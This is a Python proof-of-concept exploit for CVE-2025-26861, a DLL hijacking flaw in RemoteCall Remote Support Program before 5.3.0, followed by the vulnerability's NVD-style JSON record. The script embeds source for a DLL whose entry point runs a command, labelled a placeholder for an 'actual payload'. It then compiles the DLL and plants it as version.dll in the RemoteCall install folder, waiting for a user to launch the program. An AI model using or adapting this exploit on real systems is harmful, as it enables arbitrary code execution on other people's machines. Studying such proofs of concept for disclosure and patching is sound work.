CVE-2025-26861

# CVE-2025-26861 - RemoteCall DLL Hijacking PoC # This PoC demonstrates a DLL hijacking attack against RemoteCall Remote Support Program # Target: RemoteCall Remote Support Program (for Operator) versions prior to 5.3.0 # Vulnerability: Uncontrolled Search Path Element (CWE-427) import os import shutil import ctypes from ctypes import wintypes # Step 1: Identify the target DLL to hijack # Common DLLs that RemoteCall may load without full path verification TARGET_DLLS = [ "version.dll", "wininet.dll", "ws2_32.dll", "dbghelp.dll", "msvcrt.dll" ] # Step 2: Create malicious DLL source code (malicious_dll.c) MALICIOUS_DLL_SOURCE = ''' // Malicious DLL for DLL Hijacking PoC - CVE-2025-26861 // Compile with: cl /LD malicious_dll.c #include <windows.h> #include <stdio.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { switch (reason) { case DLL_PROCESS_ATTACH: // Execute malicious payload when DLL is loaded system("calc.exe"); // Replace with actual payload MessageBoxA(NULL, "CVE-2025-26861 Exploited!", "DLL Hijacking", MB_OK); break; case DLL_PROCESS_DETACH: break; } return TRUE; } ''' def create_malicious_dll(target_dll_name, output_path): """Create a malicious DLL file at the specified path""" # Write the source code to a file source_path = f"{output_path}\{target_dll_name.split('.')[0]}_malicious.c" with open(source_path, 'w') as f: f.write(MALICIOUS_DLL_SOURCE) # Compile the DLL (requires Visual Studio or MinGW) os.system(f'cl /LD "{source_path}" /Fe:"{output_path}\\{target_dll_name}"') print(f"[+] Created malicious DLL: {output_path}\\{target_dll_name}") def deploy_malicious_dll(remotecall_path, target_dll_name): """Deploy the malicious DLL to the RemoteCall installation directory""" malicious_dll_source = f"./{target_dll_name}" malicious_dll_dest = f"{remotecall_path}\\{target_dll_name}" if os.path.exists(malicious_dll_source): shutil.copy2(malicious_dll_source, malicious_dll_dest) print(f"[+] Deployed malicious DLL to: {malicious_dll_dest}") return True else: print(f"[-] Source DLL not found: {malicious_dll_source}") return False def main(): # Configuration REMOTECALL_INSTALL_PATH = r"C:\Program Files\RemoteCall" TARGET_DLL = "version.dll" # Target DLL to hijack print("=" * 60) print("CVE-2025-26861 - RemoteCall DLL Hijacking PoC") print("=" * 60) # Step 1: Check if RemoteCall is installed if not os.path.exists(REMOTECALL_INSTALL_PATH): print(f"[-] RemoteCall not found at: {REMOTECALL_INSTALL_PATH}") return print(f"[+] RemoteCall found at: {REMOTECALL_INSTALL_PATH}") # Step 2: Create malicious DLL print("[*] Creating malicious DLL...") create_malicious_dll(TARGET_DLL, os.getcwd()) # Step 3: Deploy malicious DLL to RemoteCall directory print("[*] Deploying malicious DLL...") if deploy_malicious_dll(REMOTECALL_INSTALL_PATH, TARGET_DLL): print("[+] Exploit deployed successfully!") print("[*] Wait for user to launch RemoteCall to trigger the exploit") else: print("[-] Failed to deploy exploit") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-26861", "sourceIdentifier": "[email protected]", "published": "2025-10-15T06:15:41.980", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "RemoteCall Remote Support Program (for Operator) versions prior to 5.3.0 contain an uncontrolled search path element vulnerability. If a crafted DLL is placed in the same folder with the affected product, it may cause an arbitrary code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN22713803/", "source": "[email protected]"}, {"url": "https://www.remotecall.com/en/support/download/", "source": "[email protected]"}]}}